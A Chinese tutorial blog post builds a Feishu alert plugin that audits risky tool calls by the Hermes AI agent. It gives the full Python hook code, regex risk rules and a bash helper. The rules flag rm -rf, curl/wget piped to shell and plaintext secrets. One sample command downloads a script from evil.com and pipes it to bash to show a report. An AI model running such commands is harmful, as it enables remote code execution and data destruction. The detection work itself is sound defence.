乐于分享
好东西不私藏

Hermes Agent 插件系统实战:用 Hooks 打造飞书操作审计

Hermes Agent 插件系统实战:用 Hooks 打造飞书操作审计

本文是「Hermes Agent 群晖 NAS 部署系列」的进阶篇。适用读者:已完成 Hermes Agent 基础部署,希望深入掌握 Plugin 系统的进阶玩家。 前置要求:Hermes Agent 已在 Docker 中稳定运行,飞书消息通道已配置完成。


一、为什么需要操作审计?

当你给 AI Agent 赋予了执行终端命令、写入文件等”危险权限”后,一个根本性问题浮出水面:

“当你不在电脑前的时候,它在干什么?”

尤其是以下三个场景,让这个问题变得不可忽视:

1. 后台任务的”黑盒”问题

你给 Hermes 设了定时任务(Cron),让它每天凌晨 2 点去爬取新闻。半夜它有没有跑飞?有没有执行了预期之外的命令?第二天出了问题你完全不知道是谁干的——这就是典型的黑盒问题。

2. /yolo 模式的安全焦虑

Hermes 有一个叫 /yolo 的火力全开模式(跳过所有危险命令审批直接执行)。在长时间挂机跑任务时,如果不开 /yolo,每遇到一个”危险命令”就会卡住等你批准,任务就死了。但开了 /yolo,你又不放心。审计系统就是解决这个矛盾的——允许先斩,但保留行刑记录。

3. 信息分流

你和 Hermes 的对话窗口应该是干净、优雅的”人话交流”。而底层的 bash 命令、文件写入等技术细节,应该被分流到一个专门的监控通道,需要的时候再去翻看。

解决方案:Plugin + Hooks

Hermes Agent 内建了一套完整的插件系统(Plugin System)。通过注册生命周期钩子(Lifecycle Hooks),我们可以在 AI 调用任何工具的前后插入自定义逻辑——比如把高危操作实时推送到飞书群。

效果预览:

当 Hermes 执行任何终端命令或写入文件时,你的飞书监控群会零延迟弹出一张告警卡片。卡片会根据风险等级自动变色(红/暖金/青碧),并附带详细的风险分析报告,用中文告诉你这条命令为什么危险、可能造成什么后果:

Hermes 操作审计 [🔴 极高]                          ← 红色卡片

工具: terminal              时间: 2026-04-12 22:34:51
────────────────────────────────────
⚡ 风险分析报告

🔴 极高 使用了 rm -rf(递归+强制删除)。该命令会从指定路径开始,
向下删除全部文件和子目录,且不会弹出任何确认提示。一旦路径写错
(如 / 或 ~),将导致系统数据被不可逆清空。请务必确认目标路径是否正确。
────────────────────────────────────
📋 原始参数
{"command""rm -rf /tmp/test""timeout": 120}

Task: 20260412_111809_21b03a | Hermes Agent 审计引擎 v3.2

而低风险操作(如 echo hello)默认不会推送到监控群,避免信息噪音。你可以通过配置文件或一条命令随时调整报警阈值。


二、Hermes 插件系统架构速览

插件来源

Hermes Agent 从三个位置发现和加载插件:

来源
路径
用途
User 插件 ~/.hermes/plugins/<name>/
用户自定义插件(推荐)
Project 插件 ./.hermes/plugins/<name>/
项目级插件(需手动开启)
Pip 插件 hermes_agent.plugins

 entry-point
社区发布的 pip 包

在 Docker 部署中,HERMES_HOME 环境变量指向 /opt/data,因此 User 插件实际路径为 /opt/data/plugins/<name>/,对应到宿主机就是你挂载的 data 目录。

可用的生命周期 Hooks

每个插件可以注册以下 8 种 Hook:

Hook 名称
触发时机
典型用途
pre_tool_call
工具执行
⭐ 操作审计、参数拦截
post_tool_call
工具执行
结果记录、异常告警
pre_llm_call
调用大模型
注入上下文、prompt 增强
post_llm_call
大模型返回
响应过滤、质量监控
pre_api_request
发起 API 请求
请求日志
post_api_request
API 请求返回
响应日志
on_session_start
会话开始
初始化、计时
on_session_end
会话结束
清理、统计

插件目录结构

每个插件是一个独立的子目录,必须包含两个文件:

plugins/
└── feishu_audit/
    ├── plugin.yaml     ← 清单文件(身份声明)
    └── __init__.py     ← 代码入口(必须包含 register 函数)

三、实战:从零搭建飞书操作审计

第 1 步:创建飞书群机器人

  1. 在飞书中创建一个群(如”Hermes 监控”)
  2. 进入群设置 → 群机器人 → 添加 → 自定义机器人
  3. 复制生成的 Webhook URL,形如:https://open.feishu.cn/open-apis/bot/v2/hook/xxxxxxxx
  4. (可选)在 安全设置 中添加安全校验

📌 安全设置说明: 飞书官方强烈建议为自定义机器人添加安全设置,但这不是必须的——不设置也能正常推送。飞书提供三种安全校验方式:自定义关键词(消息必须包含指定关键词)、IP 白名单(限制调用来源 IP)、签名校验(请求需携带签名)。如果你的 Webhook 地址不会泄露,可以暂时不设置。如果你选择设置关键词,填写 Hermes 即可(我们的卡片标题中已包含该词)。

第 2 步:创建插件目录

SSH 连接到群晖,执行:

mkdir -p /volume1/docker/hermes-agent/data/plugins/feishu_audit/

第 3 步:创建 plugin.yaml 清单

cat << 'EOF' > /volume1/docker/hermes-agent/data/plugins/feishu_audit/plugin.yaml
name: feishu_audit
version: "1.0.0"
description: "飞书操作审计插件 - 将高危操作实时推送到飞书群"
author: "Hanson"
provides_hooks:
  - pre_tool_call
EOF

第 4 步:创建审计配置文件

插件通过一个独立的 JSON 配置文件来控制报警行为,这样后续调整不需要修改 Python 代码:

cat << 'EOF' > /volume1/docker/hermes-agent/data/plugins/feishu_audit/audit_config.json
{
"min_report_level""中等",
"colors": {
"极高""red",
"高""yellow",
"中等""turquoise",
"低""green"
    }
}
EOF

配置说明:

字段
含义
可选值
min_report_level
最低推送级别,低于该级别的操作不推送
极高

 /  / 中等 / 
colors
每个风险等级对应的飞书卡片颜色
飞书支持:redyellowturquoisegreenblueorangevioletindigowathetpurplecarminegrey

第 5 步:创建插件代码(含风险分析引擎)

⚠️ 不要使用 vi 粘贴 Python 代码! vi 的自动缩进会破坏 Python 的缩进格式(导致著名的”楼梯形”代码),Python 对缩进极其敏感,格式错误会直接导致插件加载失败。请使用下面的 cat << 'PYEOF' 方式一键写入。

将下面命令中的 WEBHOOK_URL 替换为你自己的飞书 Webhook 地址后,整段复制到 SSH 终端执行:

cat << 'PYEOF' > /volume1/docker/hermes-agent/data/plugins/feishu_audit/__init__.py
"""飞书操作审计插件 v3.2 - 支持 JSON 配置热调整"""

import urllib.request
import json
import logging
import re
import os
from datetime import datetime, timezone, timedelta

logger = logging.getLogger(__name__)

WEBHOOK_URL = "https://open.feishu.cn/open-apis/bot/v2/hook/你的真实地址"
PLUGIN_DIR = os.path.dirname(os.path.abspath(__file__))
CONFIG_PATH = os.path.join(PLUGIN_DIR, "audit_config.json")
LEVEL_VALUE = {"极高": 4, "高": 3, "中等": 2, "低": 1}

def _load_cfg():
    try:
        with open(CONFIG_PATH, "r", encoding="utf-8") as f:
return json.load(f)
    except Exception:
return {"min_report_level""中等",
"colors": {"极高""red""高""yellow",
"中等""turquoise""低""green"}}

# 只监控这些高危工具,其余的(如读文件、搜索)不发通知
SENSITIVE_TOOLS = {
"terminal",        # 终端命令执行
"python",          # Python 代码执行
"write_file",      # 写入新文件
"edit_file",       # 编辑文件
"write_to_file",   # 写入文件(别名)
"multi_replace_file_content",  # 批量替换文件内容
"run_command",     # 运行命令(别名)
"send_command_input",  # 向运行中的命令发送输入
}

# ============ 风险规则引擎 ============
# 每条规则:(正则模式, 风险等级, 详细中文说明)
RISK_RULES = [
# --- 文件删除 ---
    (r"\brm\s+.*-[a-z]*r[a-z]*f",
"🔴 极高",
"使用了 rm -rf(递归+强制删除)。该命令会从指定路径开始,"
"向下删除全部文件和子目录,且不会弹出任何确认提示。"
"一旦路径写错(如 / 或 ~),将导致系统数据被不可逆清空。"
"请务必确认目标路径是否正确。"),

    (r"\brm\s+(-[a-z]+\s+)*(/|~|\$HOME)",
"🔴 极高",
"删除目标指向了根目录 (/) 或用户主目录 (~)。"
"这两个路径是系统和个人数据的根基,误删将导致灾难性后果。"
"即使只删一层,也可能破坏关键配置文件。"),

    (r"\brm\b",
"🟡 中等",
"执行了文件删除操作。虽然没有检测到 -rf 等高危标志,"
"但仍建议确认目标文件是否真的需要删除,以免误删重要数据。"),

# --- 权限与所有权 ---
    (r"\bchmod\s+777",
"🔴 极高",
"将文件权限设为 777(所有人可读/写/执行)。"
"这相当于把大门钥匙公开——NAS 上的任何进程或用户都能随意篡改该文件。"
"如果目标是脚本或配置文件,攻击者可以注入恶意代码。"
"建议使用更精准的权限(如 755 或 644)。"),

    (r"\bchmod\b",
"🟡 中等",
"修改了文件/目录的访问权限。如果设置不当,"
"可能导致原本受保护的文件变得可被他人读取或篡改。"
"请确认目标路径和权限值是否符合预期。"),

    (r"\bchown\b",
"🟡 中等",
"修改了文件/目录的所有者。如果转移了关键系统文件的归属权,"
"可能导致原服务无法正常读取配置,引发服务崩溃。"),

# --- 网络下载+执行 ---
    (r"curl.*\|\s*(ba)?sh",
"🔴 极高",
"检测到「从网络下载脚本并通过管道直接执行」的模式 (curl | bash)。"
"这是已知的最高风险操作之一——你无法在执行前审查脚本内容,"
"恶意脚本可以在你的 NAS 上为所欲为(窃取密钥、植入后门、删除数据)。"
"强烈建议:先下载文件 → 人工审查内容 → 再手动执行。"),

    (r"wget.*\|\s*(ba)?sh",
"🔴 极高",
"检测到「从网络下载脚本并通过管道直接执行」的模式 (wget | sh)。"
"与 curl | bash 同理,属于盲目执行远程代码,"
"无法预知脚本内容,存在极高的供应链攻击风险。"),

    (r"\bcurl\b.*-[a-z]*o\b",
"🟡 中等",
"使用 curl 从网络下载文件到本地。"
"下载本身无害,但请注意:下载的文件如果后续被赋予执行权限,"
"同样存在安全风险。建议检查下载来源是否可信。"),

    (r"\bwget\b",
"🟡 中等",
"使用 wget 从网络下载文件。"
"请确认下载源是否为可信域名,避免下载到被篡改的文件。"),

# --- 系统级操作 ---
    (r"\breboot\b|\bshutdown\b|\binit\s+[06]",
"🔴 极高",
"正在尝试重启或关闭操作系统!"
"如果你的 NAS 正在跑其他重要服务(如 Plex、下载任务、数据库),"
"贸然重启会导致所有服务中断,未保存的数据可能丢失。"),

    (r"\bsystemctl\s+(stop|disable|mask)",
"🟠 高",
"正在停止或禁用系统服务。被停掉的服务将无法正常工作,"
"如果目标是网络、存储或 Docker 相关的核心服务,"
"可能导致 NAS 功能瘫痪。请确认服务名称是否正确。"),

    (r"\bkill\s+-9\b|\bkillall\b",
"🟠 高",
"使用 kill -9 强制终止进程。"
"该信号不允许进程做任何清理工作(如保存缓存、释放锁),"
"可能导致数据文件损坏或服务状态不一致。"
"建议优先使用 kill(默认 SIGTERM)让进程优雅退出。"),

# --- Docker ---
    (r"\bdocker\s+(rm|rmi)\b",
"🟠 高",
"正在删除 Docker 容器或镜像。如果删除了正在使用的容器,"
"对应的服务将立即停止。如果删除了镜像且本地无备份,"
"需要重新拉取(可能耗时较长)。"),

    (r"\bdocker\s+(stop|kill)\b",
"🟠 高",
"正在停止 Docker 容器。容器内运行的服务将中断,"
"如果该容器没有配置自动重启策略 (restart: always),"
"需要手动重新启动。"),

    (r"\bdocker\s+exec\b",
"🟡 中等",
"在 Docker 容器内部执行命令。"
"虽然容器提供了隔离,但容器内的操作仍可能影响挂载的数据卷。"),

# --- 数据库 ---
    (r"\b(DROP|TRUNCATE)\s+(TABLE|DATABASE)\b",
"🔴 极高",
"正在执行数据库的 DROP/TRUNCATE 操作!"
"这会永久删除整张表或整个数据库,且通常无法通过 UNDO 恢复。"
"除非你有完整的数据库备份,否则数据将彻底丢失。"),

    (r"\bDELETE\s+FROM\b(?!.*WHERE)",
"🟠 高",
"执行了不带 WHERE 条件的 DELETE 语句,"
"这意味着将清空整张表的所有数据行。"
"如果是误操作,海量数据将全部丢失。"
"请确认是否需要添加 WHERE 过滤条件。"),

# --- Git ---
    (r"git\s+push\s+.*--force",
"🟠 高",
"使用 git push --force 强制推送。"
"这会直接覆盖远程仓库的提交历史——如果有其他协作者,"
"他们的工作可能被你的推送覆盖并无法找回。"
"建议使用 --force-with-lease 作为更安全的替代。"),

    (r"git\s+reset\s+--hard",
"🟡 中等",
"使用 git reset --hard 硬重置。"
"所有未提交的代码修改将被丢弃且无法恢复(不进回收站)。"
"如果有重要的未提交更改,请先 git stash 保存。"),

# --- 敏感路径写入 ---
    (r">\s*/etc/",
"🟠 高",
"正在向 /etc/ 目录写入内容。/etc/ 是系统核心配置的存放地,"
"错误的写入可能导致网络配置丢失、SSH 无法连接、"
"或系统无法正常启动。请再三确认目标文件和写入内容。"),

    (r">\s*/usr/|>\s*/opt/",
"🟡 中等",
"正在向系统程序目录 (/usr/ 或 /opt/) 写入内容。"
"这些目录通常由包管理器维护,手动修改可能在下次系统更新时被覆盖,"
"或导致依赖关系混乱。"),

# --- 敏感信息 ---
    (r"(API_KEY|PASSWORD|SECRET|TOKEN|PRIVATE_KEY)\s*=",
"🟠 高",
"命令中出现了疑似密钥/密码的赋值操作。"
"如果这条命令被记录到日志或 shell history 中,"
"密钥就会以明文形式暴露。建议通过环境变量文件 (.env) "
"或密钥管理工具来传递敏感信息,而不是直接写在命令行里。"),

# --- Python 高危 ---
    (r"\bos\.system\b|\bsubprocess\b",
"🟡 中等",
"Python 代码中调用了系统命令(os.system 或 subprocess)。"
"这相当于 Python 脚本获得了终端的执行权限,"
"执行的命令将直接作用于宿主环境。"),

    (r"\bshutil\.rmtree\b",
"🟠 高",
"Python 代码中使用了 shutil.rmtree(),"
"该函数会递归删除指定目录及其所有内容,效果等同于 rm -rf。"
"请确认传入的路径不会误删重要数据。"),

    (r"\beval\b|\bexec\b",
"🟡 中等",
"Python 代码使用了 eval() 或 exec() 动态执行代码。"
"如果执行的内容来自外部输入,存在代码注入风险。"),
]

EMOJI_TO_LEVEL = {"🔴 极高""极高""🟠 高""高""🟡 中等""中等""🟢 低""低"}

def analyze_risk(tool_name, tool_args):
"""分析工具调用的风险点,返回 (最高风险等级, 详细说明列表)"""
    risks = []

# 拼接所有可能包含命令/代码的文本
    text_to_scan = ""
if isinstance(tool_args, dict):
for key in ("command""code""content""input"):
            val = tool_args.get(key, "")
if val:
                text_to_scan += str(val) + "\n"
        text_to_scan += json.dumps(tool_args, ensure_ascii=False)
else:
        text_to_scan = str(tool_args)

# 逐条匹配风险规则
    seen = set()
for pattern, level, desc in RISK_RULES:
if re.search(pattern, text_to_scan, re.IGNORECASE):
if desc not in seen:
                seen.add(desc)
                risks.append((level, desc))

if not risks:
return"🟢 低", ["本次为常规操作,未匹配到已知风险模式。请放心。"]

    max_level = max(risks, key=lambda r: LEVEL_VALUE.get(
        EMOJI_TO_LEVEL.get(r[0], "低"), 0))[0]
return max_level, [f"{r[0]} {r[1]}"for r in risks]


def on_pre_tool_call(**kwargs):
"""pre_tool_call 钩子回调 - 在工具执行前触发"""
if not WEBHOOK_URL or "你的真实地址"in WEBHOOK_URL:
return

    tool_name = kwargs.get("tool_name""unknown")
    tool_args = kwargs.get("args", {})
    task_id = kwargs.get("task_id""-")

if tool_name not in SENSITIVE_TOOLS:
return

# 格式化参数
if isinstance(tool_args, dict):
        args_str = json.dumps(tool_args, ensure_ascii=False, indent=2)
else:
        args_str = str(tool_args)
if len(args_str) > 500:
        args_str = args_str[:500] + "\n... (截断)"

# 风险分析
    risk_level, risk_details = analyze_risk(tool_name, tool_args)
    risk_text = "\n\n".join(f"{d}"for d in risk_details)

# ★ 读取配置,判断是否需要推送
    cfg = _load_cfg()
    min_level = cfg.get("min_report_level""中等")
    level_name = EMOJI_TO_LEVEL.get(risk_level, "低")
if LEVEL_VALUE.get(level_name, 0) < LEVEL_VALUE.get(min_level, 0):
        logger.debug(f"[Feishu Audit] {level_name}级操作已跳过推送: {tool_name}")
return

# ★ 从配置读取卡片颜色
    colors = cfg.get("colors", {"极高""red""高""yellow",
"中等""turquoise""低""green"})
    template = colors.get(level_name, "blue")

    bj_time = datetime.now(
        timezone(timedelta(hours=8))
    ).strftime("%Y-%m-%d %H:%M:%S")

# 组装飞书消息卡片
    msg = {
"msg_type""interactive",
"card": {
"header": {
"title": {
"tag""plain_text",
"content": f"Hermes 操作审计 [{risk_level}]"
                },
"template": template
            },
"elements": [
                {
"tag""div",
"fields": [
                        {"is_short": True, "text": {
"tag""lark_md",
"content": f"**工具**\n`{tool_name}`"
                        }},
                        {"is_short": True, "text": {
"tag""lark_md",
"content": f"**时间**\n{bj_time}"
                        }},
                    ]
                },
                {"tag""hr"},
                {
"tag""div",
"text": {
"tag""lark_md",
"content": f"**⚡ 风险分析报告**\n\n{risk_text}"
                    }
                },
                {"tag""hr"},
                {
"tag""div",
"text": {
"tag""lark_md",
"content": (
                            f"**📋 原始参数**\n"
                            f"```json\n{args_str}\n```"
                        )
                    }
                },
                {
"tag""note",
"elements": [{"tag""plain_text",
"content": f"Task: {task_id} | Hermes Agent 审计引擎 v3.2"}]
                }
            ]
        }
    }

# 发送告警
    try:
        req = urllib.request.Request(
            WEBHOOK_URL,
            data=json.dumps(msg).encode("utf-8"),
            headers={"Content-Type""application/json"},
        )
        urllib.request.urlopen(req, timeout=5)
    except Exception as e:
        logger.error(f"[Feishu Audit] 推送失败: {e}")


def register(ctx):
"""Hermes 插件入口函数 - 框架会在加载时自动调用"""
    ctx.register_hook("pre_tool_call", on_pre_tool_call)
    cfg = _load_cfg()
    logger.info(f"[Feishu Audit] ✅ v3.2 已加载 | 最低推送级别: {cfg.get('min_report_level', '中等')}")
PYEOF

第 6 步:安装报警级别快捷工具(可选但推荐)

为了后续调整报警级别时不需要手动编辑配置文件,我们创建一个一键调整的命令行工具:

cat << 'SHEOF' > /usr/local/bin/hermes-set-alert
#!/bin/bash
CONFIG="/volume1/docker/hermes-agent/data/plugins/feishu_audit/audit_config.json"

show_menu() {
echo""
echo"  ┌──────────────────────────────┐"
echo"  │   Hermes 审计报警级别设置     │"
echo"  ├──────────────────────────────┤"
echo"  │  1) 极高  - 只报最危险的操作  │"
echo"  │  2) 高    - 报 高+极高        │"
echo"  │  3) 中等  - 报 中等+高+极高   │"
echo"  │  4) 低    - 全部都报          │"
echo"  └──────────────────────────────┘"
echo""
read -p "  请选择 [1-4]: " choice
case \$choicein
        1) set_level "极高" ;;
        2) set_level "高" ;;
        3) set_level "中等" ;;
        4) set_level "低" ;;
        *) echo"  ❌ 无效选择"exit 1 ;;
esac
}

set_level() {
local level="\$1"
    sed -i "s/\"min_report_level\": \"[^\"]*\"/\"min_report_level\": \"\${level}\"/""\$CONFIG"
echo""
echo"  ✅ 已设置为: \${level} 及以上触发报警"
echo"  🔄 正在重启 Hermes..."
    docker restart hermes-agent > /dev/null 2>&1
echo"  ✅ 完成!"
echo""
}

case"\${1,,}"in
"极高"|critical)  set_level "极高" ;;
"高"|high)        set_level "高" ;;
"中等"|medium)    set_level "中等" ;;
"低"|low)         set_level "低" ;;
"")               show_menu ;;
    *)
echo"  用法: hermes-set-alert [极高|高|中等|低]"
echo"        hermes-set-alert [critical|high|medium|low]"
echo"  不加参数则显示交互菜单"
exit 1 ;;
esac
SHEOF
chmod +x /usr/local/bin/hermes-set-alert

安装后用法超简单:

# 交互式菜单
hermes-set-alert

# 或直接指定(中英文均可)
hermes-set-alert high       # 只报 高+极高
hermes-set-alert medium     # 报 中等+高+极高
hermes-set-alert 高          # 中文也行

第 7 步:重启容器生效

sudo docker restart hermes-agent

第 8 步:测试

在飞书中给 Hermes 发一条需要调用工具的指令,例如:

帮我执行一下 echo audit test

⚠️ 发”你好”之类的简单对话不会触发插件(原因见下文”踩坑记录”)。必须让 Hermes 调用具体的工具才能触发 Hook。

如果一切正常,你的飞书监控群会立即收到一张根据风险等级自动变色的告警卡片。默认配置下,低风险操作(如 echo hello)不会推送到监控群。


四、踩坑记录:我们趟过的所有地雷

在实际部署过程中,我们连续踩了 4 个坑,每一个都会导致”插件完全静默不工作”且没有任何报错。以下是完整的排雷记录:

坑 1:缺少 plugin.yaml 清单文件 💥

现象:插件代码写好了,容器也重启了,但没有任何反应。日志中搜索 plugin 或 discover 完全为空。

原因:Hermes 的插件系统要求每个插件目录必须同时包含 plugin.yaml(清单)和 __init__.py(代码)。只有 __init__.py 的目录会被直接跳过,不会有任何报错或警告——因为框架认为这不是一个插件。

解决:创建 plugin.yaml,至少声明 name 字段。

name:feishu_audit
version:"1.0.0"
provides_hooks:
-pre_tool_call

验证命令(在容器中手动触发插件发现):

sudo docker exec hermes-agent python3 -c "
from hermes_cli.plugins import discover_plugins, get_plugin_manager
discover_plugins()
pm = get_plugin_manager()
print('已发现的插件:', list(pm._plugins.keys()))
for name, p in pm._plugins.items():
    print(f'  [{name}] enabled={p.enabled}, error={p.error}')
"

如果输出 enabled=True, error=None,说明插件已被正确识别。

坑 2:发送简单消息不会触发插件加载 ⏳

现象plugin.yaml 补上了,容器也重启了,手动验证也通过了,但给 Hermes 发”你好”后检查日志……还是空的。

原因:Hermes 的插件发现是懒加载(Lazy Loading)机制!discover_plugins() 不在容器启动时执行,而是在 tools_config.py 中被调用——只有当 Agent 需要使用工具时,才会触发插件发现和加载。

如果你只发了”你好”,Agent 直接用大模型回复了”你好 (。•ᴗ•。)”,全程没有调用任何工具,自然不会触发工具配置初始化,插件也就不会被加载。

解决:发一条必须调用工具的指令,比如:

帮我执行一下 echo hello

此时 Agent 被迫去初始化工具链 → tools_config 加载 → discover_plugins() 执行 → 插件被发现并注册 Hook → Hook 被触发 → 飞书收到通知。

📌 插件发现是幂等的(idempotent),首次触发后会缓存结果,后续不会重复加载。

坑 3:Hook 回调只接收关键字参数 🔑

现象:插件加载成功了,飞书也收到了通知卡片,但”执行参数”显示为空的 {}

原因:Hermes 的 Hook 调用方式是 cb(**kwargs)——只传关键字参数,不传位置参数。如果你的回调函数签名写成了 def on_tool_call(*args, **kwargs) 并尝试从 args[0] 取工具名,结果永远是空的。

通过阅读测试代码发现了 Hook 的实际调用签名:

# 源码:hermes_cli/plugins.py 第 490 行
ret = cb(**kwargs)

# 测试代码揭示的完整参数:
mgr.invoke_hook("pre_tool_call", tool_name="test", args={}, task_id="t1")

正确的参数获取方式

参数名
类型
含义
tool_name str
工具名称(如 "terminal"
args dict
工具参数(如 {"command": "echo hello"}
task_id str
当前任务 ID

解决:回调函数必须使用 **kwargs 签名,并通过 kwargs.get("tool_name") 方式取值。

坑 4:不要用 vi 粘贴 Python 代码 🪜

现象:通过 vi 编辑器粘贴代码后,Python 缩进错乱变成”楼梯形”。

原因:vi 的自动缩进功能会在粘贴时叠加额外的空格。Python 对缩进极其敏感,错误的缩进直接导致语法错误或逻辑错误。

解决:使用 cat << 'EOF' > 文件路径 方式写入,100% 保持原始格式。


五、风险分析引擎详解

插件的核心亮点是内置的规则引擎。它会对每一条被拦截的命令,用正则表达式逐条匹配 20+ 种已知危险模式,并输出详细的中文分析报告。

四级风险等级

等级
卡片颜色
含义
典型场景
🔴 极高
红色 (red)
可能造成不可逆数据丢失或系统崩溃
rm -rf

curl | bashDROP TABLE
🟠 高
暖金 (yellow)
可能影响服务运行或暴露敏感信息
docker stop

kill -9、密钥明文
🟡 中等
青碧 (turquoise)
需要注意但通常可控
chmod

wget、普通文件删除
🟢 低
默认不推送
常规操作,仅记日志
echo hello

、读取文件

📌 颜色方案可通过 audit_config.json 自定义修改,飞书支持 12 种卡片颜色。

覆盖的风险类型

规则引擎目前覆盖以下 10 大类危险操作:

类别
检测项示例
风险说明
文件删除 rm -rf

rm /rm ~
递归删除、根目录/主目录误删
权限修改 chmod 777

chown
过度开放权限、所有者变更
网络下载执行 curl | bash

wget | sh
盲目执行远程代码
系统操作 reboot

shutdownkill -9
重启系统、强杀进程
Docker 操作 docker rm

docker stop
删除容器/镜像、停止服务
数据库 DROP TABLE

DELETE FROM(无 WHERE)
删表、全表清空
Git 危险操作 push --force

reset --hard
覆盖远程历史、丢弃修改
敏感路径
写入 /etc//usr/
破坏系统配置
密钥泄露 API_KEY=xxx

PASSWORD=xxx
明文暴露凭证
Python 高危 shutil.rmtree

evalsubprocess
递归删除、动态执行、命令注入

分析报告示例

当 Hermes 执行 rm -rf /tmp/test && curl http://evil.com/x.sh | bash 时,卡片会同时命中多条规则并逐一列出:

⚡ 风险分析报告

🔴 极高 使用了 rm -rf(递归+强制删除)。该命令会从指定路径开始,
向下删除全部文件和子目录,且不会弹出任何确认提示。一旦路径写错
(如 / 或 ~),将导致系统数据被不可逆清空。请务必确认目标路径是否正确。

🔴 极高 检测到「从网络下载脚本并通过管道直接执行」的模式 (curl | bash)。
这是已知的最高风险操作之一——你无法在执行前审查脚本内容,恶意脚本可以
在你的 NAS 上为所欲为(窃取密钥、植入后门、删除数据)。强烈建议:
先下载文件 → 人工审查内容 → 再手动执行。

扩展规则

如果你想添加自定义的风险检测规则,只需在 RISK_RULES 列表中追加一个三元组:

# (正则模式, 风险等级, 详细中文说明)
(r"\bmy_dangerous_command\b",
"🟠 高",
"这里写你的详细说明,越具体越好——告诉审阅者这条命令做了什么、"
"为什么危险、以及应该怎么处理。"),

六、进阶玩法

一键调整报警级别

部署了 hermes-set-alert 工具后,调整报警级别只需一条命令:

# 只想收到最严重的告警
hermes-set-alert critical

# 恢复默认(中等及以上)
hermes-set-alert medium

# 全部都报(调试用)
hermes-set-alert low

# 不记得有哪些选项?直接运行,出交互菜单
hermes-set-alert

自定义监控范围

修改 __init__.py 中的 SENSITIVE_TOOLS 集合即可扩展或缩小监控范围。例如,如果你想监控所有浏览器操作:

SENSITIVE_TOOLS = {
"terminal",
"python",
"write_file",
"browser_navigate",    # 浏览器导航
"browser_click",       # 浏览器点击
"browser_snapshot",    # 浏览器截图
}

添加 post_tool_call 钩子

如果你不仅想知道”它要干什么”,还想知道”它干的结果怎样”,可以同时注册 post_tool_call

defregister(ctx):
    ctx.register_hook("pre_tool_call", on_pre_tool_call)
    ctx.register_hook("post_tool_call", on_post_tool_call)

禁用插件(不删文件)

在 Hermes 的 config.yaml 中添加:

plugins:
disabled:
-feishu_audit

重启容器后插件会被跳过,日志中会显示 Skipping disabled plugin 'feishu_audit'

钉钉版改造

如果你使用钉钉而非飞书,只需替换 WEBHOOK_URL 和消息体格式。钉钉自定义机器人的消息体为:

msg = {
"msgtype""markdown",
"markdown": {
"title""Hermes 审计告警",
"text"f"### 🚨 高危操作\n- **工具**: {tool_name}\n- **参数**: `{args_str}`"
    }
}

七、完整文件清单

部署完成后,你的文件结构应如下:

/volume1/docker/hermes-agent/data/
├── config.yaml
├── sessions/
├── skills/
└── plugins/
    └── feishu_audit/
        ├── plugin.yaml         ← 6 行清单
        ├── audit_config.json   ← 报警级别 + 颜色配置
        └── __init__.py         ← ~250 行 Python(含风险引擎 + 配置读取)

/usr/local/bin/
└── hermes-set-alert            ← 一键调整报警级别的快捷工具

八、总结

问题
方案
AI 后台跑任务,不知道它在干什么
pre_tool_call

 Hook + 飞书实时推送
弹出高危操作,看不懂危险在哪
内置 20+ 规则的风险分析引擎,中文详细解释
不同危险等级的操作混在一起
四级风险自动分色(红/暖金/青碧),低风险默认不推送
想调整报警级别太麻烦
hermes-set-alert high

 一条命令搞定
开了 /yolo 模式不放心
审计系统提供全量行刑记录
聊天窗口被技术细节污染
信息分流到独立监控群
插件放进去完全没反应
必须同时有 plugin.yaml + __init__.py
发”你好”没效果
插件是懒加载的,需要触发工具调用
参数抓不到
Hook 只传 **kwargs,不要用位置参数

三个文件 + 一个快捷工具,约 250 行代码,零依赖安装,你就拥有了一套带智能风险分析、可配置报警级别的企业级 AI 行为审计系统。